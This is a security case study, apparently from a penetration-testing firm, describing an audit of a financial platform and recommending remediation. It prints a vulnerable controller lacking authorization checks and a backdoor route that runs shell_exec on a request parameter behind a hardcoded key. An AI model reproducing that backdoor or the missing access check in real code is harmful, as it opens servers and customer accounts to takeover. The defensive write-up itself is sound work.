Introduction
In early 2026, we conducted a security engagement for a financial services platform handling sensitive transactions. What started as an investigation into potential enumeration attacks quickly escalated into one of the most comprehensive vulnerability discoveries we have documented.
This article walks through our findings, methodology, and the critical lessons every development team should take away—whether you are building a financial application or any system handling sensitive data.
Disclaimer: All identifying information has been removed. The vulnerabilities described have been reported and remediation is underway.
The Initial Discovery: An IDOR That Grants Full Account Access
Our engagement began with a simple question: Could an authenticated user access another user's data? We tested a common endpoint pattern—a user retrieval API that accepted a user identifier as a parameter.
The results were alarming. The endpoint returned complete user profile, bank account details, account balances, and critically—a valid JWT token for the victim's account. The API wasn't just leaking data—it was generating a fresh authentication token for whatever user was requested. Any authenticated user could fully impersonate any other user in the system.
public function retrieveUser(Request $request) {
$user = JWTAuth::authenticate(); // Checks: Is caller logged in? ✓
// Missing: Is caller authorized to view this user? ✗
$customer = User::findByIdentifier($request->user_id);
return $this->responseSuccess($customer->fullInfo());
}Impact: Complete account takeover. An attacker could view transactions, modify bank accounts, initiate transfers, and access all historical data—as the victim.
The Backdoor: Remote Code Execution Hiding in Plain Sight
Buried in the routing configuration, we found a remote code execution endpoint, protected only by a hardcoded key, accessible to anyone on the internet:
Route::get('system/command', function (Request $request) {
if ($request->key == 'HardcodedSecretKey123!') {
echo shell_exec($request->cmd) . '</pre>';
}
});Full server access. From here, an attacker could read database credentials from environment files, access all customer data directly, install persistent backdoors, pivot to internal networks, and exfiltrate the entire database.
Git blame revealed this debugging tool was created in development, enhanced over time, and merged to production through a PR titled simply "fix". No security review caught it. It sat in production for over a year.
The Full Scope: 50+ OWASP Vulnerabilities
With these initial findings, we expanded our scope to a full OWASP assessment. The results were sobering:
Broken Access Control (23 issues): Any user could mark any transaction as fraudulent, delete any user's bank account, view any account balance, and download documents without authentication.
SQL Injection (23 issues): The codebase used orderByRaw() and whereRaw() with unsanitized input, plus 30+ instances of addslashes() for SQL escaping.
CSRF Protection Disabled: Every state-changing operation was vulnerable to cross-site request forgery.
SSRF (3 issues): Users could configure webhook URLs that the server would fetch, enabling cloud credential theft.
Cryptographic Weaknesses: OTP generation using rand() instead of random_int(), UUID v1 tokens, and 6-character minimum passwords.
Key Lessons Learned
Authorization Is Not Authentication - The most common vulnerability pattern: checking if a user is logged in, but not what they're authorized to access. Always add ownership checks.
Debug Code Has No Place in Production - That "temporary" debugging endpoint becomes permanent technical debt—and potentially a backdoor. Implement proper logging and observability instead.
Source Maps Are Documentation for Attackers - Never deploy source maps to production. Block them at the server level.
Security Requires Process, Not Just Awareness - Security must be embedded in process: automated scanning, security-focused code reviews, regular penetration testing, and security champions on each team.
The Remediation Roadmap
We delivered a prioritized remediation plan:
Immediate (24-48 hours): Remove RCE endpoint, deploy IDOR fix, block source maps, enable CSRF protection.
Week 1: Add authorization to all financial endpoints, implement rate limiting, fix SQL injection vulnerabilities, add SSRF protection.
Month 1: Migrate to UUID v4, implement comprehensive audit logging, add security headers, conduct security training.
Ongoing: Automated security scanning, security review process for PRs, regular penetration testing, incident response plan.
Conclusion
This engagement reinforced a truth we see repeatedly: security vulnerabilities rarely exist in isolation. One IDOR led us to exposed source maps, which revealed a backdoor, which prompted a full audit that uncovered 50+ issues.
The application had been in production for 7+ years, processing real financial transactions, with these vulnerabilities present from nearly the beginning. The team wasn't malicious or incompetent—they were building features under pressure without security processes in place.
If your organization hasn't conducted a security audit recently, consider this a reminder. The vulnerabilities in your codebase aren't theoretical—they're waiting to be discovered, either by a security researcher or by someone with less noble intentions.
This case study is published with permission from the affected organization as part of their commitment to transparency and helping others learn from their experience.